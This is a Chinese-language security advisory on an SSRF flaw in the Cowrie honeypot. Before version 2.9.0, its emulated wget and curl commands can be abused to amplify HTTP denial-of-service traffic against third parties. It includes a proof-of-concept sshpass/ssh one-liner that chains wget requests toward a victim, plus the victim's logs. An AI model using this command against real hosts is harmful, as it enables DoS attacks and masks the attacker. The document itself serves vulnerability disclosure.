Cowrie蜜罐SSRF漏洞详解:wget/curl模拟功能成为DDoS放大攻击载体

本文详细分析了Cowrie蜜罐中存在的服务器端请求伪造漏洞,攻击者可利用其wget/curl模拟功能将蜜罐变为DDoS攻击的放大器,掩盖真实攻击来源并产生大量恶意流量。

漏洞详情

摘要 Cowrie蜜罐在模拟Shell模式下存在一个服务器端请求伪造漏洞,允许未经身份验证的攻击者滥用蜜罐作为针对任意第三方主机的HTTP拒绝服务攻击的放大载体。

详情 当Cowrie在模拟Shell模式(默认配置)下运行时,它会模拟常见的Linux命令。wget和curl命令的模拟实际上会向攻击者指定的目标执行真实的出站HTTP请求,此功能本意是允许Cowrie保存下载的文件以供后续检查。

通过SSH或Telnet连接到蜜罐的攻击者可以重复调用这些命令来瞄准受害者主机。由于之前没有速率限制机制,攻击者可以针对受害者生成无限的出站HTTP流量。这些请求源自蜜罐的IP地址,从而有效掩盖攻击者的身份,使蜜罐成为分布式拒绝服务攻击中不知情的参与者。

此漏洞已被观察到在野外被积极利用。

致谢 此漏洞由意大利国家研究委员会信息学与电信研究所的Abraham Gebrehiwot和Filippo Lauria调查。

修复 此问题已在2.9.0版本中通过PR #2800修复,该修复为wget和curl等命令模拟中的出站请求引入了速率限制机制。

概念验证

这是一个展示此漏洞放大潜力的基本概念验证。

设置:

  • 受害者机器 (192.168.1.30):运行一个简单的HTTP服务器
  • 攻击者机器 (192.168.1.20):发起攻击
  • Cowrie蜜罐 (192.168.1.10):配置为模拟Shell模式,并启用SSH访问 (凭据: test:test)

在受害者机器上,启动HTTP服务器:

1
sudo python3 -m http.server 80

在攻击者机器上,执行:

1
2
PAYLOAD=$(for i in {1..100}; do echo -n 'wget -q http://192.168.1.30;'; done) && \
for i in {1..10}; do sshpass -p test ssh test@192.168.1.10 "$PAYLOAD"; done

此命令构建一个包含100个串联wget命令的PAYLOAD,然后通过SSH执行10次,从而从一个攻击脚本中向受害者发送1,000个HTTP请求。通过调整这些值可以任意增加放大因子,但受参数长度、缓冲区大小等技术限制。

结果: 受害者的HTTP服务器日志显示,1,000个请求全部来自蜜罐的IP地址 (192.168.1.10),在约5秒内收到(为简洁起见截断):

1
2
3
4
5
6
7
192.168.1.10 - - [11/Dec/2025 14:33:03] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:03] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:03] "GET / HTTP/1.1" 200 -
...
192.168.1.10 - - [11/Dec/2025 14:33:08] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:08] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:08] "GET / HTTP/1.1" 200 -

请注意,攻击者的IP (192.168.1.20) 从未出现在受害者日志中,这展示了蜜罐如何掩盖攻击者的身份。

影响

这是一个服务器端请求伪造漏洞,使得Cowrie蜜罐可被滥用为DDoS放大节点。

受影响对象: 任何运行2.9.0之前版本且处于模拟Shell模式(默认配置)的Cowrie组织。

后果:

  • 第三方受害者从蜜罐的IP地址收到不需要的HTTP流量
  • 攻击者可以隐藏在蜜罐IP之后
  • 蜜罐运营商可能面临滥用投诉或其基础设施被列入黑名单
  • 蜜罐主机的网络资源被消耗

参考

严重程度

高 (CVSS 8.3)

CVSS v3 基础指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:无
  • 用户交互:无
  • 影响范围:已更改
  • 机密性影响:低
  • 完整性影响:低
  • 可用性影响:低

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

弱点 CWE-918 服务器端请求伪造

CVE ID 暂无已知CVE

GHSA ID GHSA-83jg-m2pm-4jxj

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计